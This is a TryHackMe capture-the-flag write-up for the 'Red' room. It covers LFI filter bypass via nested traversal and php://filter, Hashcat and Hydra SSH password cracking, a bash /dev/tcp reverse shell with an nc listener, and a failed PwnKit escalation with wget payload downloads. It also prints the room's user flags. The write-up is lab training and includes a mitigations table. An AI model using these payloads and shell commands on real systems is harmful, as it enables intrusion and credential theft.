Platform: TryHackMe · Difficulty: Medium · Category: LFI Filter Bypass / Hashcat Rule Mutation / PwnKit
Introduction
Today's victim is a humble little Apache box hiding behind a free "Atlanta" business template — the kind of site you'd scroll past without a second glance. But scratch the surface of index.php?page= and something interesting happens: the page parameter doesn't just load content, it reads files. And buried somewhere on this box are two users locked in what can only be described as a turf war — one of them is about to find out the hard way that "Red Rules" wasn't just a username flex. Red is the only room in this series so far where the opposing user actively fought back in real time, mid-session.
Recon
Standard nmap service scan against the target:
nmap -sV -sC 10.49.179.19
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Atlanta - Free business bootstrap template
|_Requested resource was /index.php?page=home.html
| http-methods:
|_ Supported Methods: GET HEAD POST
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.2p1 (Ubuntu) |
| 80 | HTTP | Apache 2.4.41 (Ubuntu) |
The first thing that jumps out is the URL itself: visiting the root IP redirects straight to index.php?page=home.html. A page= parameter that loads a .html file by name is basically a neon sign reading "try LFI here."
Feroxbuster was thrown at the site for good measure:
feroxbuster -u http://10.49.179.19 -w /usr/share/wordlists/dirb/common.txt
Didn't turn up anything worth reporting — no juicy hidden directories. The real way in was always going to be that page parameter.
Foothold
Local File Inclusion happens when an application takes user input and feeds it directly into a file-read function (include, readfile, etc.) without properly validating it. If the app strips dangerous sequences like ../ but only does it once, you can often smuggle a traversal sequence past the filter by nesting it — the classic ....// trick. The filter removes the inner ../, and what's left collapses back into a working traversal sequence.
The core LFI request structure used against the target:
http://10.49.179.19/index.php?page=php://filter/resource=.....///.....///.....///.....///[TARGET_FILE]
This nested ...../// sequence is the bypass: each str_replace pass on ../ or ./ only fires once, so wrapping the traversal in extra junk characters leaves a valid ../ behind after stripping.
Rather than guessing at the filter logic, the smart move is to make the app hand over its own source. php://filter/convert.base64-encode/resource= is a PHP stream wrapper that reads a file and returns it base64-encoded — useful because PHP files would otherwise just execute instead of displaying as text.
curl http://10.49.179.19/index.php?page=php://filter/convert.base64-encode/resource=index.php -o index.php
base64 --decode index.php
<?php
function sanitize_input($param) {
$param1 = str_replace("../","",$param);
$param2 = str_replace("./","",$param1);
return $param2;
}
$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
$page = sanitize_input($page);
readfile($page);
} else {
header('Location: /index.php?page=home.html');
}
?>
This explains everything in one shot:
-
The regex gate (
^[a-z]) requires the parameter to start with a lowercase letter, so an absolute path like/etc/passwdis rejected outright, since it starts with/ -
The sanitization flaw:
str_replaceonly runs once per pattern, no loop, no recursion — exactly why the nested.....///sequence survives -
The stream wrapper advantage:
php://filterstarts withp, satisfying the regex for free, and never contains../at all, so it sails throughsanitize_input()completely untouched
Once the source confirmed the theory, it was just a matter of pointing the same wrapper at more interesting files.
Apache's vhost config, read through the same LFI:
curl "http://10.49.179.19/index.php?page=php://filter/resource=/etc/apache2/sites-enabled/000-default.conf"
This confirmed DocumentRoot at /var/www/html and standard ${APACHE_LOG_DIR} log paths. An attempt to read /proc/self/environ for environment variable leakage returned a blank page, likely blocked by kernel-level restrictions on that particular proc path.
Enumerating /etc/passwd turned up two non-system users: blue and red. Given the room's name and the .reminder file convention common in these boxes, checking home directories for stray notes felt like the obvious next move.
curl "http://10.49.179.19/index.php?page=php://filter/resource=/home/blue/.reminder"
sup3r_p@s$w0rd!
A bare password string sitting in a dotfile. Almost too easy — except this wasn't the actual SSH password, just the seed for one.
Shell / Access
The .reminder string clearly wasn't going to work as-is over SSH — bash_history on the box hinted that the real password had been run through a best64 rule mutation, with a strong nudge that the red user ("Red rules") was the one applying it.
echo 'sup3r_p@s$w0rd!' > .reminder
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best66.rule > passlist.txt
-
--stdout— print the mutated wordlist to stdout instead of trying to crack a hash with it -
-r— apply a rule file, which defines mutation operations (case toggles, prepends, appends, character substitutions) to each input word
Throwing the mutated wordlist at both discovered users:
hydra -l blue -P passlist.txt ssh://10.49.179.19
[22][ssh] host: 10.49.179.19 login: blue password: thesup3r_p@s$w0rd!
1 of 1 target successfully completed, 1 valid password found
# ^^^ this is the important bit
| Username | Password | Where found |
|---|---|---|
| blue | thesup3r_p@s$w0rd! |
Hashcat best64-rule mutation of /home/blue/.reminder
|
ssh blue@10.49.179.19
blue@red:~$ ls
flag1
blue@red:~$ cat flag1
THM{Is_thAt_all_y0u_can_d0_blU3?}
First flag down. Things get weird from here. The box's prompt reads blue@red — blue is SSHing into a machine whose hostname is literally "red," which lines up with the room's whole "Red Rules, Blue Drools" framing. While poking around, taunting messages started appearing directly in the terminal output — someone (presumably red, scripted or live) was actively interacting with the same box:
blue@red:~$ Don't be silly Blue, you will never win
An attempt to add a hosts entry for a pivot domain (redrules.thm) succeeded, and a reverse shell back-connect was attempted from blue's session:
echo "192.168.134.217 redrules.thm" | tee -a /etc/hosts
bash -c 'nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 &'
The session got killed almost immediately:
blue@red:~$ Say Bye Bye to your Shell Blue and that password
Get out of my machine Blue!!
Connection to 10.49.179.19 closed by remote host.
This took an embarrassingly stubborn series of reconnects to push past — the blue password even appears to have been rotated mid-session (!dr0w$s@p_r3pus, a reversed variant of the original), requiring another Hydra run against the same mutated wordlist to recover access:
[22][ssh] host: 10.49.179.19 login: blue password: !dr0w$s@p_r3pus
A subsequent message left in /etc/hosts edits, decoded from base64, turned out to be another taunt rather than a useful credential:
echo "WW91IHJlYWxseSBzdWNrIGF0IHRoaXMgQmx1ZQ==" | base64 -d
You really suck at this Blue
Despite the interference, the reverse shell attempt from blue eventually connected back to a listener:
nc -nvlp 9001
connect to [192.168.134.217] from (UNKNOWN) [10.49.179.19] 51530
red@red:~$ ls
flag2
red@red:~$ cat flag2
THM{Y0u_won't_mak3_IT_furTH3r_th@n_th1S}
That reverse shell landed as red, not blue — most likely the cron job or script running red's side of the taunting also owned the process that picked up the back-connect, or red's account was what actually executed the queued reverse shell command from blue's typed input. Either way, second flag captured.
Escalation
With a shell as red, the standard SUID sweep was run:
find / -type f -perm -04000 -ls 2>/dev/null
Buried in the mostly standard output was something unusual:
418507 32 -rwsr-xr-x 1 root root 31032 Aug 14 2022 /home/red/.git/pkexec
A SUID copy of pkexec sitting inside a hidden .git directory in red's own home folder — not a system path, clearly placed there deliberately as part of the challenge.
./pkexec --version
pkexec version 0.105
Pkexec 0.105 is vulnerable to CVE-2021-4034, better known as PwnKit — a local privilege escalation flaw in Polkit's pkexec caused by improper handling of argument count and environment variables, allowing an unprivileged user to escalate to root through a crafted execution context.
The plan: pull down a PwnKit PoC, patch the hardcoded pkexec path to point at the home-directory copy, compile, and run.
#define BIN "/usr/bin/pkexec"
changed to:
#define BIN "/home/red/.git/pkexec"
A small local web server on the attacker box served the patched exploit, a helper shared object, and a compiled binary:
wget http://192.168.134.217:4443/exploit.c
wget http://192.168.134.217:4443/evil-so.c
wget http://192.168.134.217:4443/exploit
wget http://192.168.134.217:4443/evil.so
chmod +x exploit
./exploit
./exploit: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exploit)
This is the important failure line — the binary was linked against a GLIBC version the target simply doesn't have.
Root was not obtained in this run. The GLIBC mismatch between the compiled exploit and the target's libc blocked PwnKit, and no alternative escalation path was found within the session. See Rabbit Holes below for the full breakdown and what the correct fix would have been.
Exploitation — The Full Chain
-
index.php?page=LFI, bypassed with nested.....///traversal around a single-passstr_replacefilter -
php://filterbase64 source disclosure → fullindex.phpsource, confirming the sanitization flaw -
LFI against
/home/blue/.reminder→ seed passwordsup3r_p@s$w0rd! -
Hashcat best64-rule mutation →
passlist.txt→ Hydra crackedblue's real SSH password -
SSH as
blue→ flag 1, then an active in-session fight withredover the box -
Reverse shell back-connect from
blue's session → landed asred→ flag 2 -
SUID
pkexec0.105 found inred's.git/directory — vulnerable to PwnKit (CVE-2021-4034) - PwnKit PoC compiled on the wrong GLIBC → exploit fails, root not obtained
Rabbit Holes
John rule syntax fed into Hashcat. The first attempt at generating the credential wordlist ran John the Ripper's best64.rule file directly through Hashcat's --stdout engine. Hashcat couldn't fully parse John's native rule syntax and silently dropped most of the rules, producing only 20 mutated words instead of a full expansion. Recreating a Hashcat-native version of the best64 rule set from scratch fixed this — the two tools' rule grammars aren't drop-in compatible even though they look similar on the surface.
PwnKit GLIBC mismatch. The patched PwnKit exploit was compiled on a Kali Rolling attacker machine running GLIBC 2.42, while the target was Ubuntu 20.04 on GLIBC 2.31. The compiled binary ended up requiring the symbol __libc_start_main@GLIBC_2.34, which doesn't exist on the target's older libc — even though the exploit's actual source code only calls older, widely-available functions like execve and system. The incompatibility came entirely from the build environment, not the exploit logic itself. The correct fix would have been compiling in a container or VM matching Ubuntu 20.04 / GLIBC 2.31, or compiling directly on the target — but no compiler (gcc) was available on the box, and write access to install one via apt was blocked by missing dpkg lock permissions. This was documented rather than chased further given time constraints.
Two minor compile fixes were also needed along the way for the supporting evil-so.c and exploit.c files — missing #include <grp.h> and #include <unistd.h> respectively — likely due to stricter default header inclusion behavior on newer glibc/gcc toolchains than whatever the original PoC was written against.
Flags
| Flag | Value |
|---|---|
| Flag 1 (blue) | THM{Is_thAt_all_y0u_can_d0_blU3?} |
| Flag 2 (red) | THM{Y0u_won't_mak3_IT_furTH3r_th@n_th1S} |
Root flag was not obtained in this run. PwnKit (CVE-2021-4034) was correctly identified as the escalation path via a SUID pkexec binary in /home/red/.git/pkexec, but the compiled exploit failed against the target due to a GLIBC version mismatch between the attacker's build environment and the box, and no compiler was available on-target to rebuild it natively. This is documented honestly rather than papered over — the two user flags and the full foothold chain stand on their own.
Mitigations
| Vulnerability | Severity | Mitigation |
|---|---|---|
LFI via page parameter |
High | Use a strict allowlist of permitted filenames instead of blocklist-based sanitization; never pass user input directly into readfile()
|
Single-pass str_replace sanitization |
High | Apply sanitization in a loop until no more matches are found, or better, reject any input containing path separators entirely |
| Credentials stored in plaintext dotfiles | Medium | Never store passwords or password seeds in user-readable home directory files, even "hidden" ones |
SUID pkexec binary in non-standard location |
Critical | Audit the filesystem regularly for unexpected SUID binaries; patch Polkit to a version beyond CVE-2021-4034 |
| Weak/predictable SSH password policy | Medium | Enforce strong, randomly generated credentials and consider disabling password auth in favor of key-based SSH |
Key Takeaway
A sanitization function that only runs once is functionally the same as no sanitization at all — always test traversal filters by nesting the very sequence they claim to strip. And on the privesc side: an exploit failing isn't always the exploit being wrong. Sometimes it's your own build environment lying to you about compatibility.
Room: TryHackMe — Red
Top comments (0)